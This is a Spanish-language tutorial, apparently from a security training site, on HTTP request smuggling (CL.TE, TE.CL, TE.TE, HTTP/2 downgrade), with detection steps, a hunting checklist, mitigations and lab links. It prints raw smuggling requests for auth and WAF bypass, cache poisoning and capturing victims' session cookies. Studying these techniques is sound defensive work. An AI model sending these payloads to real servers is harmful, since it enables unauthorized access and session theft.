Respuesta rápida
HTTP Request Smuggling ocurre cuando un proxy (frontend) y el server backend interpretan el mismo HTTP request de forma distinta debido a diferencias en cómo procesan Content-Length y Transfer-Encoding. El atacante "esmugla" un segundo request dentro del primero, que el backend procesa como si viniera de otro cliente. Vectores: bypass de auth/WAF, cache poisoning, robar cookies de víctimas, XSS persistente.
Las tres clases
| Clase | Frontend usa | Backend usa | Característica |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Frontend respeta CL, backend respeta TE |
| TE.CL | Transfer-Encoding | Content-Length | Frontend respeta TE, backend respeta CL |
| TE.TE | Transfer-Encoding | Transfer-Encoding (con obfuscation) | Ambos respetan TE pero uno se "rompe" con header malformado |
CL.TE explicado
POST / HTTP/1.1
Host: target.tld
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- Frontend lee
Content-Length: 13→ el body es 13 bytes (0\r\n\r\nSMUGGLED). Forwarea esos 13 bytes al backend. - Backend lee
Transfer-Encoding: chunked→ el body termina en0\r\n\r\n. Procesa solo0\r\n\r\ncomo request 1. El "SMUGGLED" queda en el buffer del backend como inicio del próximo request.
El próximo request legítimo de cualquier víctima se concatena con SMUGGLED, formando un request "anidado" que el backend procesa como si la víctima lo hubiera enviado.
TE.CL explicado
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
- Frontend procesa TE → el body completo es
8\r\nSMUGGLED\r\n0\r\n\r\n. Forwarea todo. - Backend procesa CL → el body son solo 3 bytes (
8\r\n). El resto queda en buffer.
El "SMUGGLED" queda esperando para concatenarse con el próximo request legítimo.
TE.TE — obfuscation de Transfer-Encoding
Ambos respetan TE, pero una variante mal-formada hace que uno lo ignore:
Transfer-Encoding: chunked
Transfer-Encoding: x
POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
Transfer-encoding: chunked
Transfer-Encoding : chunked
TRANSFER-Encoding: chunked
Transfer-Encoding:chunked
Variantes:
- Espacio antes del
:(Apache lo ignora, otros no). - Casing mixto (algunos parsers normalizan, otros no).
- Múltiples headers TE (algunos toman el primero, otros el último).
- Sin espacio después de
:.
Si el frontend acepta Transfer-Encoding: chunked pero el backend lo rechaza por un detalle, vuelves a CL.TE. Y viceversa.
Detección con Burp
# Burp Suite has built-in HTTP Request Smuggler extension
# Manual con Burp Repeater:
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked
1
A
0
Si responde 200 → CL.TE (backend procesó solo el chunk válido). Si responde 400 / timeout → otra cosa.
Time-based detection si la respuesta no varía:
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked
1
A
X
CL.TE: backend espera más datos (timeout 5-10s). CL/CL: backend procesa instantly.
Impactos típicos
1. Bypass de WAF / auth en headers
POST /benign HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.tld
X-Bypass-Auth: yes
Foo: bar
El WAF/proxy ve /benign y lo pasa. El backend procesa el smuggled /admin con el header X-Bypass-Auth: yes añadido, que solo es válido si viene de una IP interna (que el atacante no tiene). Pero como el smuggled request "viene desde el proxy" (que es interno), el header pasa.
2. Cache poisoning
POST / HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: target.tld
X-Original-Url: /admin/dashboard
Si el backend tiene endpoint que procesa X-Original-Url, el response del admin dashboard se cachea en el CDN bajo la URL /home. Cualquier visitante de /home ve el dashboard.
3. Robar cookies de víctimas
Smuggled request que loggea headers que llegan:
POST /reflect-headers HTTP/1.1
Host: target.tld
Content-Length: 200
Transfer-Encoding: chunked
0
GET /api/log-headers HTTP/1.1
Host: target.tld
Foo: bar
Cuando una víctima legítima envía su próximo request, sus headers (incluyendo Cookie: session=...) se concatenan con el smuggled. El backend ve un request "víctima-augmentado" y los loggea. El atacante captura.
Caso especial: redirige a la víctima a un endpoint propio donde sus cookies se loggean en un log público.
4. Stored XSS persistente "víctima-aware"
Smuggled request hace POST con HTML malicioso que se almacena en el contexto de la víctima.
Versions y contextos vulnerables
- AWS ALB / Classic ELB versiones antiguas (parcheadas).
- HAProxy versions con bugs específicos.
- Cloudflare ha tenido casos de TE.TE.
- Akamai legacy.
- Custom proxies mal implementados son los más comunes en bug bounty.
Cada provider con publicación de patches → research público para identificar versions afectadas.
Detection avanzada — HTTP/2 downgrade
HTTP/2 → HTTP/1.1 downgrade en el proxy reabre vectores. HTTP/2 separa headers por field, no hay ambigüedad. Pero al downgradearlo a HTTP/1.1 para el backend, el proxy recombina headers. Si combina mal:
HTTP/2 con header: x-foo: bar\r\nContent-Length: 0
Downgrade a HTTP/1.1:
x-foo: bar
Content-Length: 0
[más headers...]
[body]
CRLF injection vía headers HTTP/2 → smuggling pleno.
Tooling
- Burp Suite HTTP Request Smuggler extension (gratis, automatiza detection).
- smuggler.py (Python script de defparam).
- h2cSmuggler para HTTP/2 → 1.1 downgrades.
Hunting checklist
- ¿Hay reverse proxy / CDN delante del backend? (probable si es app SaaS).
- ¿El response de un POST con
Transfer-Encoding: chunkedes coherente? - ¿
Content-LengthyTransfer-Encodingambos mandados, ¿cuál respeta cada layer? - ¿Time-based detection muestra timeout en CL.TE?
- ¿Probar headers TE obfuscados (espacios, casing, dobles)?
- ¿Hay HTTP/2 → 1.1 downgrade en el proxy?
- ¿Cache se ve afectado por requests smuggled?
Mitigación correcta
- HTTP/2 end-to-end sin downgrade.
- Mismo HTTP parser en frontend y backend (ej. nginx + nginx, no nginx + Node.js custom).
- Rechazar requests con ambos
Content-LengthyTransfer-Encoding. - Strict header parsing que normaliza pre-forward.
http_version 1.1mandatorio en backend si hay frontend HTTP/1.0.- WAF rules específicas para detectar smuggling patterns.
Labs relacionados
Practica CL.TE, TE.CL, TE.TE y cache poisoning via smuggling: labs de HTTP Smuggling.
Practica esto en un lab
Http Smuggling
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
HTTP request smuggling — H2→H1 desync, TE.CL, CL.TE y H2.CL en 2026
Catálogo actualizado de HTTP smuggling: CL.TE clásico, TE.CL, H2→H1 downgrade desyncs, HTTP/2 SETTINGS frame abuse, chunked extensions y pseudo-headers HTTP/2.
Cloudflare WAF Bypass — oversized body, header stuffing y cache poisoning
El WAF de Cloudflare tiene límites de inspección por plan (~8KB Free, 128KB Enterprise). Padding bypass, header stuffing >100 headers, IP origin disclosure.